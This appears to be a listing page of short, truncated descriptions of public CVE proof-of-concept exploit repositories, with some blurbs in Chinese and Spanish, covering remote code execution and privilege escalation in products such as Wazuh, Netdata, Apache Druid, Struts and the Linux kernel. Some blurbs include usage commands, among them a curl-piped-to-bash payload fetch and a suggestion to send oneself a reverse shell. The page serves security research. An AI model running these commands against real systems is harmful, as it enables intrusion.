my_vulnerabilities

myvulnerabilities 我将分享一些我报告的漏洞 PoC...

vulnerability-poc

Repositorio de PoC de Vulnerabilidades Código de Prueba de Concepto PoC seleccionado, laboratorios de prueba y reglas de prevención para CVEs de alta severidad — creado para pruebas de seguridad autorizadas, pruebas de penetración, desafíos CTF e investigación de seguridad. Mantenido por el equip...

CVE-2021-26814

CVE-2021-26814 A simple python PoC to exploit CVE-2021-26814 and gain RCE on Wazuh Manager v.4.0.0-4.0.3 through the API service. To run it, simply make the .py script executable and launch it with the required parameters. root@kitploit: PoC.py -h -user USERNAME -pwd PASSWORD -lip SRCIP -lport...

CVE-2023-46818

CVE-2023-46818 PoC 这是由 Egidio Romano（又名 EgiX）在此处提供的 PoC 的 Python 实现。该漏洞利用工具将为您弹出一个 WebShell；如需获得完全交互式 shell，请执行一条命令并向自己发送一个反向 shell。 用法 root@kitploit: python exploit.py http://localhost username password 免责声明 本 PoC 的作者对任何人的行为不承担任何责任，请仅在 CTF 或演示中使用此漏洞利用工具。 — Vulner（又名 Abumalik）...

CVE-2024-32019-poc

CVE-2024-32019-poc Netdata ndsudo PoC Build the binary: root@kitploit: go build -ldflags "-s -w" -o nvme poc.go upx nvme Run the bash script: root@kitploit: bash exploit.sh In target machine run in a writable directory: root@kitploit: curl http://:8000/payload.sh | bash It will automatically...

CVE-2019-3980

CVE-2019-3980 CVE-2019-3980 exploit written in win32/c++ openssl dependency. Port of https://github.com/tenable/poc/blob/master/Solarwinds/Dameware/dwrcsdwDrvInstrce.py Instructions This PoC requires staticly linked openssl libraries. Place openssl includes in thirdparty\include\openssl and libs ...

RCE-PoC-CVE-2021-25646

CVE-2021-25646 概念验证（Go 版本） 概述 本仓库包含针对 CVE-2021-25646 的概念验证（PoC）漏洞利用代码，该漏洞是 Apache Druid 中的一个严重远程代码执行漏洞。 该漏洞利用程序使用 Go 编写，可通过终端进行交互式命令注入。 特性 交互式命令注入： 通过交互式 shell 界面，在存在漏洞的 Apache Druid 服务器上执行任意命令。 构建 你需要安装 Go（推荐版本 2.23.4）。 root@kitploit: go build . 这将在当前目录下生成一个二进制文件。 用法 你可以通过构建二进制文件或直接使用 go run...

cve-2018-12386

Firefox Sandboxed RCE Exploit CVE-2018-12386 Here is a simple exploit for the vulnerability CVE-2018-12386 found by Niklas Baumstark, Samuel Groß and Bruno Keith. This is mostly a PoC I did for fun, there is no sandbox bypass and it will only work on a given Linux setup where the offsets used by...

struts2-jakarta-inject

POC Exploit para CVE-2017-5638 Utilice este exploit únicamente en sistemas de su propiedad o sobre los que tenga permisos explícitos para realizar pruebas Instalación Si ya tiene go instalado en su computadora, go get es la forma de hacerlo go get github.com/Greynad/struts2-jakarta-inject Uso...

CVE-2023-6019

源自 原作者POC 的 Python POC 用法 python3 CVE-2023-6019.py -t 192.168.191.37 -p 9000 -l 192.168.45.xxx -lp 4444...

CVE-2013-3827

CVE-2013-3827 针对可能因CVE-2013-3827通过目录遍历暴露的常见配置的快速PoC检查器 使用: 1. 修改traversal.py的内容以符合你的需求 2. python3 traversal.py...

Joomla-CVE-2015-8562-PHP-POC

Joomla-CVE-2015-8562-PHP-POC A proof of concept for Joomla's CVE-2015-8562 vulnerability Intro This PoC is a near 1:1 copy of Gary's python implementation hosted at exploit-db. Use it It's very easy to install: root@kitploit: git clone...

CVE-2023-27524

Badges License MIT Installation 1. Install Python3 and pip If you can't figure this out, you shouldn't really be using this...

CitrixBleed-2-CVE-2025-5777

CitrixBleed-2-CVE-2025-5777 checker checker.py httphttpshost:port.txt result.txt 8 better you run OPENSSLCONF=./openssl.cnf checker.py httphttpshost:port.txt result.txt 8 poc this poc automatic exploit CVE-2025-5777 and check token exsist and after valid or not. poc.py -u https://target.example.c...

Golang-CVE-2021-44077-POC

Golang-CVE-2021-44077-POC 此利用程序是针对 Zoho ManageEngine ServiceDesk Plus 低于 11306 版本的未认证远程代码执行漏洞。 您可以在此处找到存在漏洞的软件版本：http://archives.manageengine.com/service-desk/11303/ManageEngineServiceDeskPlus64bit.exe 我找不到此漏洞的 Golang 版本，因此这里提供一个。我的代码质量不高，使用风险自负。 博客文章：...

CVE-2021-37832

CVE-2021-37832 CVE 2021-37832 poc usage : python3 CVE-2021-37832.py http://test.com...

2022-LPE-UAF

2022-LPE-UAF Security researchers discovered 3 vulnerabilities in the Linux kernel that could allow a local attacker to elevate privileges and potentially execute malicious code. The proof-of-concept code is publicly available increasing the likelihood of exploitation in the wild...

Gui-poc-test

Gui-poc-test A testing tool for CobaltStrike-RCE:CVE-2022-39197; Weblogic-RCE:CVE-2023-21839; MinIO:CVE-2023-28432 A graphical vulnerability detection and exploitation tool for these three vulnerabilities. Notes 1. Running the jar requires Java 8 2. For single target, not suitable for multi-IP...

CVE-2025-55182

CVE-2025-55182 Next.js RCE Exploit Tool 🚀 This is an automated Proof-of-Concept PoC tool for the Next.js React Server Components CVE-2025-55182 Remote Code Execution RCE vulnerability. The tool integrates an interactive Shell , intelligent protocol detection , and multi-threaded batch scanning...

CVE-2024-1086

CVE-2024-1086 Exploit de prueba de concepto universal para escalada local de privilegios para CVE-2024-1086, que funciona en la mayoría de los kernels de Linux entre v5.14 y v6.6, incluyendo Debian, Ubuntu y KernelCTF. La tasa de éxito es del 99.4% en las imágenes de KernelCTF. Versiones afectada...